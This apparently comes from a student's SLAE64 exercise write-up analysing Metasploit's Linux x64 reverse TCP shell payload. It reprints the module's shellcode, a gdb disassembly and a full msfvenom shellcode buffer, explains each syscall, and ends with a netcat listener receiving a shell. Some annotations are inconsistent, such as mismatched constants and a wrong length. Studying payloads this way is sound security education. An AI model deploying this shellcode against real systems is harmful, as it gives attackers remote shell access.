

Reverse TCP shellcode analysis , slae64 - 1337

Code in metasploit file:

```
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3
  include Msf::Payload::Single
  include Msf::Payload::Linux
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name' => 'Linux Command Shell, Reverse TCP Inline',
      'Description' => 'Connect back to attacker and spawn a command shell',
      'Author' => 'ricky',
      'License' => MSF_LICENSE,
      'Platform' => 'linux',
      'Arch' => ARCH_X86_64,
      'Handler' => Msf::Handler::ReverseTcp,
      'Session' => Msf::Sessions::CommandShellUnix,
      'Payload' =>
        {
          'Offsets' =>
            {
              'LHOST' => [ 20, 'ADDR' ],
              'LPORT' => [ 18, 'n' ],
            },
          'Payload' =>
            "\x6a\x29" + # pushq $0x29
            "\x58" + # pop %rax
            "\x99" + # cld
            "\x6a\x02" + # pushq $0x2
            "\x5f" + # pop %rdi
            "\x6a\x01" + # pushq $0x1
            "\x5e" + # pop %rsi
            "\x0f\x05" + # syscall
            "\x48\x97" + # xchg %rax,%rdi
            "\x48\xb9\x02\x00" + # movabs $0x100007fb3150002,%rcx
            "\x15\xb3" + #
            "\x7f\x00\x00\x01" + #
            "\x51" + # push %rcx
            "\x48\x89\xe6" + # mov %rsp,%rsi
            "\x6a\x10" + # pushq $0x10
            "\x5a" + # pop %rdx
            "\x6a\x2a" + # pushq $0x2a
            "\x58" + # pop %rax
            "\x0f\x05" + # syscall
            "\x6a\x03" + # pushq $0x3
            "\x5e" + # pop %rsi
            "\x48\xff\xce" + # dec %rsi
            "\x6a\x21" + # pushq $0x21
```

```

        "\x58"          + # pop    %rax
        "\x0f\x05"      + # syscall
        "\x75\xf6"      + # jne   27 <dup2_loop>
        "\x6a\x3b"      + # pushq  $0x3b
        "\x58"          + # pop    %rax
        "\x99"          + # cld
        "\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
        "\x73\x68\x00"  + #
        "\x53"          + # push   %rbx
        "\x48\x89\xe7"   + # mov    %rsp,%rdi
        "\x52"          + # push   %rdx
        "\x57"          + # push   %rdi
        "\x48\x89\xe6"   + # mov    %rsp,%rsi
        "\x0f\x05"      + # syscall
    }
))
end
end

```

Code output with gdb :

```

# gdb shellcode
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/Desktop/ExamRev/Assignment5/Reverse_TCP/shellcode...(no debugging symbols
found)...done.
(gdb) b *&code
Breakpoint 1 at 0x600980
(gdb) set disassembly-flavor intel
(gdb) r
Starting program: /root/Desktop/ExamRev/Assignment5/Reverse_TCP/shellcode
Shellcode Length: 17

Breakpoint 1, 0x0000000000600980 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x0000000000600980 <+0>:  push  0x29
    0x0000000000600982 <+2>:  pop    rax
    0x0000000000600983 <+3>:  cdq
    0x0000000000600984 <+4>:  push  0x2
    0x0000000000600986 <+6>:  pop    rdi
    0x0000000000600987 <+7>:  push  0x1
    0x0000000000600989 <+9>:  pop    rsi
    0x000000000060098a <+10>: syscall
    0x000000000060098c <+12>: xchg  rdi,rax
    0x000000000060098e <+14>: movabs rcx,0x8e0ba8c05c110002
    0x0000000000600998 <+24>: push  rcx
    0x0000000000600999 <+25>: mov   rsi,rsi
    0x000000000060099c <+28>: push  0x10
    0x000000000060099e <+30>: pop    rdx
    0x000000000060099f <+31>: push  0x2a
    0x00000000006009a1 <+33>: pop    rax
    0x00000000006009a2 <+34>: syscall

```

```

0x00000000006009a4 <+36>: push 0x3
0x00000000006009a6 <+38>: pop rsi
0x00000000006009a7 <+39>: dec rsi
0x00000000006009aa <+42>: push 0x21
0x00000000006009ac <+44>: pop rax
0x00000000006009ad <+45>: syscall
0x00000000006009af <+47>: jne 0x6009a7 <code+39>
0x00000000006009b1 <+49>: push 0x3b
0x00000000006009b3 <+51>: pop rax
0x00000000006009b4 <+52>: cdq
0x00000000006009b5 <+53>: movabs rbx,0x68732f6e69622f
0x00000000006009bf <+63>: push rbx
0x00000000006009c0 <+64>: mov rdi,rsi
0x00000000006009c3 <+67>: push rdx
0x00000000006009c4 <+68>: push rdi
0x00000000006009c5 <+69>: mov rsi,rsi
0x00000000006009c8 <+72>: syscall
0x00000000006009ca <+74>: add BYTE PTR [rax],al
End of assembler dump.

```

Code analysis step by step:

```

<+0>: push 0x29
<+2>: pop rax
<+3>: cdq
<+4>: push 0x2
<+6>: pop rdi
<+7>: push 0x1
<+9>: pop rsi
<+10>: syscall

```

```

<+0>push 0x29
<+2> pop rax

```

move value 0x29 (41) to **rax** thought the stack

```

<+3>cdq
<+4>push 0x2
<+6> pop rdi

```

set **rdx** to zero

move value 0x2 to **rdi** thought the stack

```

<+7>push 0x1
<+9> pop rsi
<+10> syscall

```

move value 0x1 to **rsi** thought the stack
syscall 41 = socket syscall

prototype of function socket get by command : “man 2 socket”

```
int socket(int domain, int type, int protocol);
```

domain → **rdi**
type → **rsi**
protocol → **rdx**

definition get by the command “man 2 socket”

socket() creates an endpoint for communication and returns a descriptor.

rax get the return value (sockfd)

The value of **rdi** is 2 , 2 correspond to **AF_INET**

The value of **rsi** is 1 , 1 correspond to **SOCK_STREAM**

The value of **rdx** is 0 , 0 correspond to **TCP**

(You can get this value using python and socket module)

Finally the function call look-like this :

rax ← **socket(rdi = 2 , rsi = 1 , rdx = 0);**

Next couple of instructions :

```
<+12>:    xchg  rdi, rax
<+14>:    movabs rcx, 0x100007fb3150002
<+24>:    push  rcx
<+25>:    mov   rsi, rsp
<+28>:    push  0x10
<+30>:    pop   rdx
<+31>:    push  0x2a
<+33>:    pop   rax
<+34>:    syscall
```

Prototype of the connect function:

```
int connect(int sockfd, const struct sockaddr *addr,
            socklen_t addrlen);
```

rdi → **sockfd**
rsi → ***addr**
rdx → **addrlen**

<+12> **xchg rdi , rax**

xchg value of rax , rdi -> move sockfd to rdi

<+24> **movabs rcx , 0x100007fb3150002**

// *addr filling

<+25> **mov rsi, rsp**

Remember how is fill struct sockaddr *addr:

```

; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)

```

in this case inet_addr in hex is 1000007fb (reverse order) correspond at the 4 upperbytes of value moved to rcx

0x100007fb3150002

;server.sin_port = b315 in network byte order , with socket.ntohs(b315) in python the value in little endian is 15105 correspond to **0x100007fb3150002**

; server.sin_family = AF_INET = 2 correspond to **0x100007fb3150002**

; bzero(&server.sin_zero, 8) = 8 null bytes

shellcode connect to localhost in 5555 port ..

```

<+28>:push 0x10
<+30>:pop rdx
<+31>:push 0x2a
<+33>:pop rax
<+34>:syscall

```

size of *addr to rdx,(16 bytes)

syscall number 42

Next couple of instructions :

```

<+36>: push 0x3
<+38>: pop rsi
<+39>: dec rsi
<+42>: push 0x21
<+44>: pop rax
<+45>: syscall
jne 0x6009a9 <code+41>

```

we see a syscall , dup2 function (syscall number 33)
--> **jne 27 <dup2_loop>** in metasploit file

Prototype of the dup2 function given by “man 2 dup2”

```
int dup2(int oldfd, int newfd);
```

Explanation given by the manual

These system calls create a copy of the file descriptor oldfd.

dup2 copy stdin , stderr, stdout , duplicate to send to the “attacker machine”.

jne 27 <dup2_loop> jne not equal pass control to the next instruction if the zero-flag is

set , in this case zero flag is set if **rsi** == 0 , (**rsi** have the new sockfd value)
the loop start in this instruction

```
<+41> dec rsi
```

Next couple of instructions:

This is THE syscall , execve syscall

```
<+49> push 0x3b
<+51> pop rax
<+52> cdq
<+53> mov rbx , 0x68732f6e69622f
|<+63>push rbx
<+64>mov rdi , rsp
<+67> push rdx
<+68> push rdi
<+69> mov rsi, rsp
<+72> syscall
```

move value 0x3b (59) to **rax** thought the stack
rdx set to null
move string **"/bin/sh"** in reverse order to **rbx** and push it
into the stack
move stack pointer to rdi
rdx pushed into the stack
address of **"/bin/sh"** pushed into the stack and moved to **rdi**

Finally the function call look-like this :

execve (rdi <<"/bin/sh">> , rsi <<address of "/bin/sh">> , rdx = 0);

Finally , how to test the shellcode :

shellcode given by msfvenom command :

```
:~# msfvenom -p linux/x64/shell_reverse_tcp -f c
```

```
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\xc0\xa8\x0b\x8e\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
```

compile with the squelette program to test shellcode :

open listener with netcat

```
# nc -l -p 5555 -v
```

Execute the shellcode and get the shell trough netcat:

#!/shellcode

```
nc: listening on :: 5555 ...
nc: listening on 0.0.0.0 5555 ...
nc: connect to 127.0.0.1 5555 from localhost (127.0.0.1) 34134 [34134]
ps
  PID TTY          TIME CMD
 5503 pts/2    00:00:00 bash
 6030 pts/2    00:00:00 sh
 6031 pts/2    00:00:00 ps
pwd
/root/Desktop/Exam/Assignment5/Reverse_TCP
exiit
/bin/sh: 3: exiit: not found
exit
```